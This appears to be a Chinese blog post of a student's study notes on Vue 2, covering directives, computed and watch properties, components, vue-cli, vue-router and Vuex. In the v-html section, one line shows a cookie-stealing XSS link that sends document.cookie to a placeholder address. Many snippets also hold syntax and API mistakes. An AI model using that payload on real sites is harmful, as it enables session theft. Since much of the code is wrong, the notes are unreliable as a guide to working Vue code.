0
点赞
收藏
分享

微信扫一扫

Vue2学习之路(1):Vue基础知识和组件化


vue.js

前言(稍稍记录一下):
其实学习Vue是冒着很大的担子的,这段时间有许多的事情要做,项目,OS,考研……而且我是个做服务器端或者后端的,搞这玩意纯属浪费时间,但是吧,不学一套完整的前端框架的话,感觉又有点不太充实。换句话来说,就是对前端要加深理解,才能更好的写后端和服务器端代码!之前看过很好的一句话,“我们说的全栈,不是说什么都会懂要做,而是在懂的基础上能更好的和前后端进行沟通,增强开发的进度,增加前后端的沟通性”,vue作为前端的一个大的较好框架,我便选择他作为我的前端框架了,后期也打算配合Django框架或者go的gin框架做一个完整的demo,当然,这都是后话了(我还得把我的OS过一遍,学好汇编),总之,计算机是个无底洞,一起加油吧!

相关资料:

  • Vue 官网
  • nodejs-npm
  • 菜鸟教程
  • 尚硅谷视频教程

基础知识

创建vue实例

<script>
new Vue({
	el: ''	// 指定vue所绑定的控件
	data: {	// 数据绑定
		'': '',
		'':'',
	},
})
</script>

容器 和vue实例是一对一的关系

模板语法

  • 插值语法(双大括号表达式):用于解析标签体内容
  • 指令(以v-开头):用于解析标签

<script>
// 插值语法
{{ }}
// 指令,将引号内的数据当作表达式执行,而不是字符串
v-bind:id = "name"
</script>

数据绑定

  • v-bind:单向数据绑定(vue.js---->页面)
  • v-model:双向数据绑定(vue.js<---->页面)

v-model只能应用在表单类元素(输入类元素上)

<script>
	<input type="text" :value="name"><br/>
	<input type="text" v-model="name"><br/>	// v-model写法
</script>

数据代理

定义:通过一个对象代理对另一个对象中属性的操作(rw)

<script type="text/javascript">
let obj = {x: 100}
let obj2 = {y: 200}
Object.defineProperty(obj2, 'x', {
    get() {	// 当点击他的时候则会返回数据
        return obj.x
    },
    set(value) {    // 如果有人想更改x的值
        obj.x = value
    }
})
</script>

在vue中数据的获取和修改都是这么实现的

事件处理

<body>
    <div id="root">
        <h1>my name is {{ name }}</h1>
        <h1>my age is {{ age }}</h1>
        <!-- 数据回调 -->
        <button v-on:click="showInfo">click me</button>
    </div>
    <script type="text/javascript">
        Vue.config.productionTip = false
        // 创建vue实例
        const x = new Vue({
            el: '#root', // el指定当前vue为哪个容器服务
            data: {
                'name': 'yxc',
                'age':12,
            },
            methods: {  // 回调函数
                showInfo() {
                    alert("Hello World!")
                }
            }
        })

    </script>
</body>

传参

<button v-on:click="showInfo(66, $event)">click me</button>

时间修饰符

<!-- 阻止了a标签的跳转行为 -->
<a href="https://www.baidu.com" @click.prevent="showInfo2">click me</a>

  • prevent:阻止默认事件
  • stop:阻止事件冒泡(常用)
  • once:事件只触发一次(常用)
  • capture:使用事件的捕获模式;
  • self:只有event.target是当前操作的元素是才触发事件:
  • passive:事件的默认行为立即执行,无需等待事件回调执行完毕;

键盘事件

<body>
    <div id="root">
    	<input type="text" @keyup="showInfo">
    </div>
<script>
 new Vue({
     el: "root",
     methods: {
         showInfo(e) {
             if (e.keyCode != 13) {	// 判断回车
                 return;
             }
             console.log(e.target.value)	// 拿到键盘输入的值
         }
     }
 })
</script>
</body>

也可以直接使用@keyup.enter=“showInfo”

Vue常见的按键别名

  • 回车 =>enter
  • 删除=>delete(捕获“删除”和“退格”键)
  • 退出=> esc
  • 空格=>space
  • 换行=> tab(使用keydown,而keyup本身含有切走的效果)
  • 上=>up
  • 下=>down
  • 左=>left
  • 右=> right

计算属性

属性:data中的数据

<script>
	new Vue({
        el: '',
        data: { // 属性
            a: '',
            b: '',
        },	
        computed: {	// 计算属性
            fullName: {
                //get有什么作用?当有人读取ful1Name时,get就会 被调用,且返回值就作为fullName的值
                get() {
                    return this.a + this.b;
                },
                set(value) {	// set什么时候被调用?当fullName被修改时
                  	console.log('set', value)
                    const arr = value.split('-')
                    this.firstName = arr[0]
                    this.lastName = arr[1]
                },
            },
        }
    })
</script>

简写方式

<script>
	new Vue({
        el: '',
        data: {},
        methods: {},
        computed: {
            // 相当于get()方法
            fullName:function() {	// {{ fullName }}
                return firstName + lastName
            }
            fullName() {	// {{ fullName() }}
                return firstName + lastName
            }
        }
    })
</script>

监视属性

<script>
new Vue({
    el: '',
    data: {},
    methods: {},
    computed: {},
    watch: {	// 监视,可以监视普通属性和计算属性
        isHot:{	// 当isHot发生改变时调用handler
            handler(newValue, oldValue) {
                // do something
            },
            immediate: true,// 初始化时让handler调用一下
        }
    }
})
</script>

深度监视

  • Vue中的watch默认不监测村象内部值的改变(层)。
  • 配置deep: true可以监测对象内部值改变(多层)

备注:

  • Vue自身可以监测对象内部值的改变,但Vue提 供的watch默认不可以!
  • 使用watch时根据数据的具体结构,决定是否采用深度监视。

<script>
	new Vue({
        date: {
            number: {
                a: 1, 
                b: 2,
            }
        }
        watch: {
        	'number.a': {	// 监视多级结构中某个属性的变化
        		handler() {
					// do something
    			}
    		},
            number: {	// 监视多级结构中所有属性的变化
                deep: true,
                handler() {
                    // do something
                }
            }
    	}
    })
</script>

简写形式

<script>
	new Vue({
        watch: {
            isHot(newValue, oldValue) {
                console.log("isHot被修改了")
            }
        }
    })
</script>

绑定样式

绑定class样式

<div class="root">
    <div :class="a" @click="changeInfo">
        
    </div>
</div>
<script>
	new Vue({
        el: "#root",
        data: {
            a: 'normal'
        },
        methods: {
            changeInfo() {
                this.a = 'happy'
            }
        }
    })
</script>

绑定style样式

条件渲染

<div v-show="true">	// 相当于display属性
    
</div>

<div id="root">
    <h2>
        {{ n }}
    </h2>
    <button @click="n++">
        n+1
    </button>
</div>
<div v-show="n === 1">
    
</div>
<div v-show="n === 2">
    
</div>
<div v-show="n === 2">
    
</div>
<script>
	new Vue({
		el: "root",
         data: {
             n: 1,
         }
    })
</script>

<div v-if="n === 1">
    
</div>
<div v-else-if="n === 2">
    
</div>
<div v-else-if="n === 3">
    
</div>
<div v-else="n === 4">
    
</div>

列表渲染

<div id="root">
    <ul>
        <!-- v-for进行循环创建li标签 -->
        <!-- :key是为了标识每个标签  -->
        <li v-for="p in personArr" :key="p.id">	
            {{ p.name }}-{{ p.age }}
        </li>
    </ul>
</div>
<script>
	new Vue({
        el: "root",
        data: {
            personArr: [
                {id: 001, name: "1", age: 1},
                {id: 002, name: "2", age: 2},
                {id: 003, name: "3", age: 3},
            ]
        },
    })
</script>

列表过滤

使用watch的方法

<div id="root">
    <h2>
        person
    </h2>
    <!-- v-model="keyWord"即输入框的数据 -->
    <input type="text" placeholder="please input the name" v-model="keyWord">
    <ul>
        <li v-for="p in filPerson" :key="p.id">
        	{{ p.name }}-{{ p.age }}
        </li>
    </ul>
</div>
<script>
	new Vue({
        el: "root",
        data: {
            keyWord: '',
            personArr: [
                {id: 001, name: "1", age: 1},
                {id: 002, name: "2", age: 2},
                {id: 003, name: "3", age: 3},
                {id: 004, name: "4", age: 4},
            ],
            filPerson: [],	// 过滤数组
        },
        watch: {
            keyWord: {
                handler(val) {	// 过滤是否存在
        		   immediate: true,
                    this.filPerson = this.person.filter(p)=>{
                        return p.name.indexOf(val) !== -1
                    }
                }
    		}
        }
    })
</script>

使用属性计算的方法

<script>
	new Vue({
		data: {  
            keyWord: '',
            personArr: [
                {id: 001, name: "1", age: 1},
                {id: 002, name: "2", age: 2},
                {id: 003, name: "3", age: 3},
                {id: 004, name: "4", age: 4},
            ],            
         },
         computed: {
			filPerson() {
                return this.person.filter(p)=>{
                    return p.name.indexOf(this.keyWord) != -1
                }
            }
         }
    })
</script>

Vue.set()

收集表单数据

label一般和一个input进行绑定,label用属性for,input用属性id

内置指令

<div>
    Hello World!
</div>
<div v-text="Hello World!">
    
</div>

<div>
    <div v-html="name">
        
    </div>
    <div v-html="str">
        
    </div>
</div>
<script>
	new Vue({
        data: {
			name: "<h3>Hello World!<h3>",
            // 拿到cookies
             str: "<a href=javascript:loaction.href="xxx"+document.cookies></a>"
        }
    })
</script>

<div v->
    
</div>

生命周期

创建、挂载

<script>
	new Vue({
        // 4
        mounted() {
            // do something
        }
        // 1
        beforeCreate() {
        	// do something
        }
    	// 2
    	created() {
            // do something
        }
    	// 3
    	beforeMounted() {
            // do something
        }
    	// 5
    	beforeUpdate() {
            // do something
        }
    	// 6
    	update() {
            // do something
        }
    	// 7
    	beforeDestroy() {
            // do something
        }
    	// 8
    	destroy() {
			// do something
        }
    })
</script>

template可以直接在里面写模板

<script>
	new Vue({
        template: `xxx`
    })
</script>

组件

模块和组件的区别:

  • 模块:向外提供某些功能的js程序
  • 组件:用来实现局部(特定)功能的代码集合(HTML、CSS、JavaScript、Image)

单文件组件:一个文件中只有一个组件

非单文件组件:一个文件中有多个组件

<div id="root">
    <school></school>
    <hr>	
    <student></student>
</div>
<script>
	const school = new Vue.extend({
        name: 'school',
        template: `
			<div>
			<h1>{{ schoolName }}</h1>
			<h1>{{ address }}</h1>
			</div>
		`,
        data() {
			return {
                schoolName: '',
                address: '',
            }
        }
    })
    
    const student = new Vue.extend({
		data() {
			return {
                student: '',
                address: '',
            }
        }
    })
    
    new Vue({
        el: "#root",
        components: {
            school: school,	// 标签:组件
            student: student,	// 标签:组件
        }
    })
</script>

组件嵌套

<script>
    // student必须放在school组件
    const student = new Vue.extend({
		data() {
			return {
                student: '',
                address: '',
            }
        }
    })
	const school = new Vue.extend({
        name: 'school',
        template: `
			<div>
			<h1>{{ schoolName }}</h1>
			<h1>{{ address }}</h1>
             <student></student>
			</div>
		`,
        data() {
			return {
                schoolName: '',
                address: '',
            }
        },
        component: {
            school,
        }
    })

</script>

特殊组件

<script>
	const app = Vue.extend({
        // do something
    })
</script>

一个重要的内置关系:Vue的实例化对象vm和Vue的组件的实例化对象vc,仅有的例外是el这样根实例特有的选项

构造函数和原型

<script>
	function demo() {	// 构造函数
		this.a = 1
         this.b = 2
    }
    // 创建一个实例化对象
    const d = new demo()
    // 获得显示原型属性
    console.log(demo.prototype)
    // 获得隐式原型属性
    console.log(d.__proto__)
    
    // 程序员通过显示原型对象属性操作原先对象
    demo.prototype.x = 9
</script>

单文件组件

<!-- school.vue -->
<!-- 最后会加工成js文件(webpack/脚手架) -->
<template>
	<!--组件的结构-->
    <div class="root">
        <h1>{{ schoolName }}</h1>
        <h1>{{ address }}</h1>
    </div>
</template>
<script>
	// 组件交互的代码
    const student = new Vue.extend({
         name: 'school', // 和文件名保持一致
		data() {
			return {
                student: '',
                address: '',
            }
        },
        methods: {},
        watch: {},
        components: {},
        computed: {},
    })  
    /* 三种暴露方式
    * export: 分别暴露
    * export { school }: 同意暴露
    * export default school: 默认暴露
    */
</script>
<style>	
	<!--组件的样式-->
    .root {
        background-color: bule
    }
</style>

汇总所有的组件

<!-- app.vue一人之下万人之上, 负责把所有的组件整合起来 -->
<template>
	<div><!--必须有一个根元素-->
        <school></school>
    </div>
</template>
<script>
    import school from './school'	// 引入组件
    
	export default {
        name: 'app',
        components: {
            school,
            student,
        }
    }
</script>
<style>

</style>

使用vm(new Vue()的实例化)

import app from './app.vue'

new Vue({
    el: '#root',
    template: `<app></app>`
    data: {},
    components: {
        app,
    }
})

容器

<body>
<div id='root'>
</div>
    <!--放在最下面-->
    <script type='text/javascript' src='../js/vue.js'></script>
    <script type='text/javascript' src='./main.js'></script>
</body>

Vue脚手架

Vue脚手架是Vue官方提供的标准化开发I具(开发平台)

# 安装vue cli
npm install -g @vue/cli

# 创建vue cli
vue create vue_test
# 进入文件夹
cd vue_test
# 翻译代码
npm run serve

脚手架的结构

.gitignore:哪些文件不想接受git的管理配置好

babel.config.js:babel的控制文件

package-lock.json:包的版本控制文件

package.json:包的说明书

src:

  • components:组件目录
  • assets:静态资源目录,默认安装vue的图标
  • App.vue:父组件
  • main.js:总入口文件

public:

  • 整个应用的界面文件(index.html)
  • 页签图标文件(ico文件)

/* main.js */
// 引入vue
import Vue from 'vue'
// 引入app组件,他是所有组件的父组件
import app from './arr.vue'
// 关闭vue的生产提示
Vue.config.productionTip = false

// 创建vue实例化对象--vm
new Vue({
    el: '#app',
    render: h => h(app),
})

<!-- index.html -->

<!-- do something -->
<!-- 针对IE浏览器的一个特殊配置,含义是让IE浏览器以最高的渲染级别渲染页面 -->
<meta http-equiv="X-UA-Coompatible" content="IE-edge">
<!-- 开启移动端的理想视 -->
<meta name="viewport" content="width=device-width,initial-scale=1.0">
<!-- 页签图标路径 -->
<link rel="icon" href="<%= BASE_URL %>./favicon.ico">
<!-- 配置网页标题 其表示的是package.json中的name-->
<title><%= htmlWebpackPlugin.options.title %></title>
<!-- do something -->
    
<noscript>
    <!-- 当browser不支持js时就会渲染页面 -->
</noscript>

路径中禁止使用…/或者./,直接使用BASE_URL

ref属性:一种标识符

<h1 ref="title">
    
</h1>
<script>
	console.log(this.$refs.title)	
</script>

如果是在组件上加上该元素,则打印的是组件的相关元素,而不是标签

props

<div>
    <Student name='1' sex='2' age='3'></Student>
</div>
<script>
	new Vue({
        data: { }, // 防止的是固定的数据
        props:['name', 'sex', 'age'],	// 即动态数据
        // 第二种写法
        props: {
            name: String,
            age: Number,
            sex: String,
        }
    })
</script>

:表示执行引号内的数据(:= v-bind)

mixin混入

定义:两个组件共用一个配置

<script>
    import {mixin} from '../mixin'
	export default({
        name: "",
        data: {},
        methods: {},
        mixin: [mixin]
    })
</script>

// mixin.js
const mixin = {
    methods: {
        // do something
    }
}

如果有相同的data,以组件为主,如果是生命周期函数,两个都要

scoped样式

类名冲突:两个组件使用相同的类名

<!-- scoped表示只渲染当前页面,除了app组件之外 -->
<style scoped></style>
<!-- 表明当前style是用什么格式来写的 -->
<style lang="css/less/..."></style>

知识回顾

Vue部分功能浅析

语法格式

<div id="app">
    {{ message }}
</div>

<script>
	var app = new Vue({
        el: "#app",
        // 第一种写法
        data: {
            message: "app"
        }
        // 第二种写法,一般写成json
        data() {
			return {
                message: "app"
            }
    	}
    })
</script>

条件渲染

<table id="app">
    <h v-if="siganl">a</h>
    <h v-else>b</h>
</table>

列表渲染

<table id="app">
    <li v-for="item in items">
        {{ item.items }}
    </li>
</table>
<script>
	var app = new Vue({
		el: "#app",
        data: [{message: "a"}, {message: "b"}]
    })
</script>

事件处理:用v-on监听事件,并在触发时运行一些JavaScript代码

<div id="#app">
    <button v-on:click="">
        click me
    </button>
</div>

<script>
	var app = new Vue({
        el: "#app",
        methods: {
            greet: function(event) {
                // event是原生DOM事件
                alert("hello vue")
            }
        }
    })
</script>

Axios异步通信:mounted这个钩子函数的时候一般会做一些Ajax请求获取数据进行数据初始化,mounted在整个实例中只执行一次。

<script src="https://ynpkg.com/axios/dist/axios.min.js"></script>

<div id="app">
    {{ message.name }}
</div>

<script>
	var app = new Vue({
        el: "#app",
        data() {
			return {
                info: {
                    name: "liuhao",
                    age: 12
                }
            }
    	},
        mounted() {
       		axios
            	.get('data.json')
            	.then(response => this.info=response.data)
        }
    })
</script>

表单输入绑定:vue.js是一个MVVC框架,当数据发送变化的时候,视图也会发生变化,当视图发生变化的时候,数据也会发生变化。(双向绑定是相对于UI控件来说的,如一些框框,非UI控件不涉及双向绑定)

<div id="app">
    {{ message }}
</div>
	<input type="text" v-model="message"/>
	<p>
    	{{ message }}    
	</p>
<script>
	var app = new Vue({
        el: "#app",
        // 第一种写法
        data: {
            message: "app"
        } 
    })
</script>

组件:可复用的Vue实例,就是一堆可复用的模板template,通常一个应用会以一颗嵌套的组件树来组织。

<div id="app">
    <!-- 使用组件 -->
    <my-component-li v-for="item in items" v-bind:item="item">
    </my-component-li>
</div>
    <script>
    // 定义一个组件
	Vue.component("my-component-li", {
        props: ["item"]
		template: "<li>{{item}}</li>"
    })
    
    var app = new Vue({
        el: "#app",
        data: {
			items: ["a", "b"]
        }
    })
</script>

模板内的表达式非常的便利,但是设计他们的初衷是用于简单运算的,在模板中放入太多的逻辑会让模板过重且难以维护,因此,对于复杂逻辑,应该使用计算属性。

计算属性:用来声明式的描述一个值依赖于其他的值,当你在模板里把数据绑定在一个计算属性上,vue会在其依赖的任何值导致该计算属性改变时你更新DOM,简单来说,就是一个能够将计算结果缓存起来的属性(将行为转换为静态的属性)。

<div id="app">
    {{ setTime() }}  <!-- 方法 -->
    {{ getTime }}  <!-- 计算属性 -->
</div>

<script>
	var app = new Vue({
        el: "#app",
        data: {
            message: "app"
        },
        method: {
            setTime:function() {
                return Date.now();
            }
        },
        computed: {  // 计算属性
            getTime:function() {
                return Date.now()
            }
        }
    })
</script>

插槽:vue实现了一套内容分发的api,将<slot>元素作为承载分发内容的端口。

自定义事件

<my-component-li v-bind:remove="removeItem">  <!-- 3 -->
</my-component-li>

<script>
	Vue.component("my-component-li", {
        props: ["item"],
        // 第一种写法
        template: "<button @click="cl">click me</button>",  
        // 第二种写法
		template: "<button v-bind:click="cl">click me</button>",  // 1
        methods: {
        	cl:function() {
				$emit("remove")  // 2
    		}
    	}
    })
    
    var app = new Vue({
        // 
        methods: {
            removeItem:function() { // 4
                
            }
        }
    })
</script>

vue-cli

命令行工具(cli):为单页面应用(SPA)快速搭建繁杂的脚手架, 只需要几分钟的时间运行起来并带有热重载,保存时lint校验,以及生产环境的构建版本。

主要功能:

  • 统一的目录结构
  • 本地调试
  • 热部署
  • 单元测试
  • 集成打包上线

每一个.vue文件中都应该有

export default {
    name: "APP" // 要导出的文件名
    component: [
    	HelloWorld  // 本组件使用的子组件
    ]
}

webpack:一个JavaScript应用程序静态模块打包器

ES6:EcmaScript6标准增加了JavaScript 语言层面的模块体系定义。ES6 模块的设计思想,是尽量静态化,使编译时就能确定模块的依赖关系,以及输入和输出的变量。CommonsJS 和AMD模块,都只能在运行时确定这些东西。

安装webpack

npm install webpack -g
npm install webpack-cli -g

vue-routervue.js的官方路由器。

使用vue-router

import Content from '../component/Content'

// 导入vue-router
import VueRouter from 'vue-router'

Vue.use(VueRouter)

// 暴露出这个组件 即该路由
export default new Router({
    routers: [
        {
            // 路由跳转路径
            path: '/content',
            // 路由名称
            name: 'Content',
            // 路由跳转组件
            component: Content
        }
    ]
})

main.js中要导入这个router目录,示意使用了路由配置

import router from "./router";

new Vue({
  router,
  store,
  vuetify,
  render: h => h(App)
}).$mount("#app");

在要跳转路由的地方使用即可

<template>
    <router-view/>  <!-- 在特定路由下跳转视图放置位置 -->
    
    <router-link to="/">首页</router-link>  <!-- 使用超链接的方式更好 -->
</template>

嵌套路由

import Content from '../component/Content'
import A from '../component/DP/CC'
import B from '../component/DP/CC'

// 导入vue-router
import VueRouter from 'vue-router'

Vue.use(VueRouter)

// 暴露出这个组件 即该路由
export default new Router({
    routers: [
        {
            // 路由跳转路径
            path: '/content',
            // 路由名称
            name: 'Content',
            // 路由跳转组件
            component: Content,
            children: [
                {
                    //
                },
                {
                    //
                }
            ]
        }
    ]
})

参数传递:此处只说明props

在路由配置中设置

// 路由跳转路径
path: '/content/:id',  // id为参数名
// 路由名称
name: 'Content',
// 路由跳转组件
component: Content,
props: true

在路由跳转时设置

<router-link :to="{name: ‘路由名称’, params: {id: 2}}"/>  <!-- 此处声明的是一个对象 -->

在路由vue文件中设置

export default {
    props: ['id'],
    name: 'Content'
}

路由中的钩子函数

  • beforeRouteEnter:在进入路由前执行
  • beforeRouteLeave:在离开路由前执行

beforeRouteEnter(to, from, next) => {
    
}

VueX:是一个专门为vue.js应用程序而开发的状态管理模式,采用集中式存储管理应用的所有组件的状态,并以响应的规则保证状态以一种可预测的方式发生变化

引入Vuex

import Vuex from 'vuex'

Vue.use(Vuex)

当登陆成功的时候,设置一个状态isLogin在浏览器中

router.beforeRouteEnter(to, from, next) => {
    let signal = sessionStorage.getItem('isLogin')
    
    if (to.path = '/logout') {
        sessionStorage.clear()
        // 跳转到登陆页面
        next({path:'/login'})
    }
    else if (to.path = '/login') {
        if (signal != null) {
            next({path:'main'})
        }
    }
    next()
}

Vuex一般放在store文件夹中。

// 全局state对象,用于保存
const state = {
    user: {
        name: 
    }
}

// 用于监听state对象的最新状态(计算属性)
const getters = {
    getUser(state) {
        return state.user;
    }
}

// 唯一一个可以修改state值的方法(同步执行)
const mutations = {
    updateUser(state, user) {
        state.user = user;
    }
}

// 异步执行mutations方法
const actions = {
    asyncUpdateUser(context, user) {
        context.commit('updateUser', user);
    }
}

export default new Vuex.Store {
    state,
    getters,
    mutations,
    actions
}

在主函数中引入

new Vue({
    el: '#app',
    router,
    store
    render: h => h(App)
})

执行store方法

this.$store.dispatch("asyncUpdateUser", {name:this.form.name})


举报

相关推荐

Vue2基础知识

Vue2学习(1)

vue基础知识2

vue组件之前基础知识

【vue】vue基础知识

Vue2基础

Vue基础知识

vue基础知识

vue2学习

0 条评论